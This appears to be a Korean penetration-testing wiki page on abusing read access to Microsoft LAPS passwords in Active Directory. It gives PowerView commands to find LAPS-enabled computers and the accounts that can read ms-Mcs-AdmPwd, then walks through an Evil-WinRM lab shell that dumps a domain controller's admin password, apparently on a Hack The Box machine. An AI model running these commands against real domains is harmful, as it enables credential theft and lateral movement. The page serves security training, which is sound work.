ReadLAPSPassword

LAPS는 Local Administrator Password Solution으로 Microsoft에서 배포한 로컬 관리자 패스워드 솔루션입니다. 이 솔루션을 사용할 경우 도메인 내 각 머신에 있는 로컬 관리자 계정(RID 값이 500이거나 사용자 정의 계정)의 패스워드를 주기적으로 변경합니다. 솔루션을 도입 시 컴퓨터 객체에는 ms-Mcs-AdmPwdms-Mcs-AdmPwdExpirationTime 두개의 속성이 추가됩니다. ms-Mcs-AdmPwd 는 LAPS 솔루션에 포함된 도메인 내 로컬 관리자 계정들에게 읽기 권한이 있으며, 이곳에서 모든 로컬 관리자 패스워드를 확인할 수 있습니다. 따라서 LAPS 관리자에 속하는 도메인 로컬 관리자 계정을 장악 시, 다른 로컬 관리자 계정으로 측면 이동이 가능합니다.

LAPS를 사용하는 객체만을 열거하기 위해 ms-Mcs-AdmPwdExpirationTime 속성이 null 값이 아닌 객체를 찾는 방법이 있습니다. 또한 ms-Mcs-AdmPwd 읽기 권한이 있는 객체를 열거하는 방법을 사용하여 로컬 관리자 권한을 획득하기 위해 어떤 객체를 타겟해야 할지 선정할 수 있습니다.

# ms-Mcs-AdmPwdExpirationTime 속성이 null이 아닌 객체 열거
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

# 각 컴퓨터 객체의 DACL을 읽어 ms-Mcs-AdmPwd 속성을 읽을 수 있는 객체를 열거
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

# 열거된 SID 주체 확인
ConvertFrom-SID <SID>

# 컴퓨터의 ms-Mcs-AdmPwd 속성 읽기
Get-DomainComputer -Identity <Machine> -Properties ms-Mcs-AdmPwd

Practice

*Evil-WinRM* PS C:\windows\temp> net groups LAPS_Readers
Group name     LAPS_Readers
Comment

Members

-------------------------------------------------------------------------------
svc_deploy
The command completed successfully.

획득한 쉘인 svc_deploy 사용자는 LAPS_Readers 그룹에 소속되어 있습니다. 현재 쉘에서 LAPS에서 관리하는 모든 관리자 계정에 대한 ms-Mcs-AdmPwd 값을 가져오는 명령은 다음과 같습니다.

*Evil-WinRM* PS C:\windows\temp> Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'
                                            
                                            
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb                   
DNSHostName       : dc01.timelapse.htb      
Enabled           : True           
ms-Mcs-AdmPwd     : n((r2Ep}U@3&pw/v;1G%4SFr 
Name              : DC01              
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

이로써 로컬 관리자의 패스워드를 탈취했습니다.

References

Last updated

Was this helpful?